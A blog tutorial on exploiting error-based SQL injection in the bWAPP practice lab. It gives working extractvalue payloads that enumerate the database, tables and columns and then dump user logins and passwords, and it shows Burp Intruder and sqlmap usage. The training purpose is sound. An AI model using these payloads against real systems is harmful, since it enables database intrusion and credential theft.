Exploiting Error based SQL injection

Vishal
5 min readDec 19, 2022

If you want to know about what is SQLi and it type, please follow the link.

Error based SQL Injection as name suggest, the attacker forces the back-end database to generate error and extract database information out of database.

To demonstrate how to exploit error-based SQLi, as I told you in earlier blog will use bWAPP.

In bWAPP select the bug as shown below:

bWAPP SQLi Search/GET

Now first step is to test if this is vulnerable to SQLi, for that we can use special characters like ‘ or “. I will use ( ‘) and let’s see how application respond back. I got error shown below, which confirms application is vulnerable to SQLi.

Error confirms application is vulnerable to SQL

Now as we are going to exploit this using error based SQL injection, I will use extractvalue function which is used to retrieve data from an attribute that contains XML data. It takes 2 arguments. First argument is the attribute name and second is the XPATH expression.

I will use extractvalue(rand(),concat(0x3a,<sql_query>).

rand() is a mysql function which returns a random number between 0 and 1.
concat() is another function which adds two or more expressions.
0x3a is ASCII value for ":" which is used to separate the output properly.

Lets try to find the version, user and database name.

Finding version: 
IRON MAN' AND extractvalue(rand(),concat(0x3a,@@version)) --
SQL error showing value of database version.
Finding user name of the database:
IRON MAN' AND extractvalue(rand(),concat(0x3a,user())) --
Extracting database user using error based SQLI
Finding current database name:
iron man' AND extractvalue(rand(),concat(0x3a,database())) --
current database name

Now we will try to find the number of tables in current database i.e. ‘bwapp’. To do that we will use information_schema in mysql. Information_Schema provides access to database metadata.

We will use the count() function, to count the number of tables in current database.

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT COUNT(*) FROM information_schema.tables WHERE table_schema="bwapp"))) --
Number of tables in current database

Now we will try to find the names of tables in current database as we know the number of tables we can use limit clause in mysql.

To fetch the first table name we can use below query.

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT table_name FROM information_schema.tables WHERE table_schema="bwapp" LIMIT 0,1))) --
first table name is blog

Similarly we can extract name of other 3 tables by increasing the first value in limit clause from 0 through 3 (as there are only 4 tables and index starts with 0).

If the number of tables is high we can automate this process by using burp suite’s intruder functionality, but here there are only 4 tables which we can extract manually without burp suite. We will get below table names.

blog,heroes,movies and users
The name of last table in bWAPP database is users

We are definitely interested in users table. Let’s try to find out the number of columns in users table first. For that we can use below query

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT COUNT(*) FROM information_schema.columns WHERE table_schema="bwapp" AND TABLE_NAME="users"))) -- 
Finding number of columns in users table

Similarly we extract remaining 3 tables, just by changing the value of TABLE_NAME.

Let’s find out the name of all columns. Name of first column is “id

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT COLUMN_NAME FROM information_schema.columns WHERE table_schema="bwapp" AND TABLE_NAME="users" LIMIT 0,1))) -- 
name of first column in users table.

Similarly by changing the value of first argument in limit clause upto 8 (As there are 9 columns and index starts with 0). For this I will use burp suite’s intruder function. Capture the request in burp and send it to Intruder.

Burp Suite Inrtuder

Select the position in payload which we want to brute force. Then in payload option, select Payload type as Number and range from 0 to 8 step it by 1 each time.

Payload settings

Start the attack now and you will see all the requests and responses.

Intruder requests and responses

So this way the third column is “password” column.

column names in users

First we need to find the count of rows(records) in users table.

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT COUNT(*) FROM users ))) -- 
Number of rows in users table

We are interested in admin,login and password columns for 2 records. We will use limit clause to fetch the required data.

IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT concat(admin,"::",login,"::",password) FROM users limit 0,1 ))) -- 
first user is A.I.M. and is admin user
IRON MAN' AND extractvalue(rand(),concat(0x3a,(SELECT concat(admin,"::",login,"::",password) FROM users limit 1,1 ))) -- 
second user is bee and it is NOT admin

This way we are successfully exploited the error base SQL injection manually and with the little help from burp suite.

Using extractvalue is not an only option you can use any other error causing function/technique.

I also tried to exploit error based SQLi using sqlmap. To demonstrate how to exploit this, I captured the GET request in burp, saved it in a file and used below sqlmap command to find required information.

sqlmap -r /home/kali/Desktop/error_based_SQLmap --technique=E --batch --current-db --proxy=http://127.0.0.1:8080-r:          to read the request from the file.
--technique: Technique to exploit, by default it is "BEUSTQ"
(B: Boolean-based blind, E: Error based SQLi, U: Union query-based, S: Stack Queries, T: Time-based blind and Q: Inline Queries).
--batch: Never asked for user I/P, use the default behavior
--current-db: Retrieve current database
--proxy: Proxy to connect to target
(I proxy all requests through burp suite)
burp suite capturing all requests of sqlmap
current database name

Similarly we can dump data from the database using sqlmap.

Hope you like this, in next blog will try to explain UNION based SQL injection.

--

--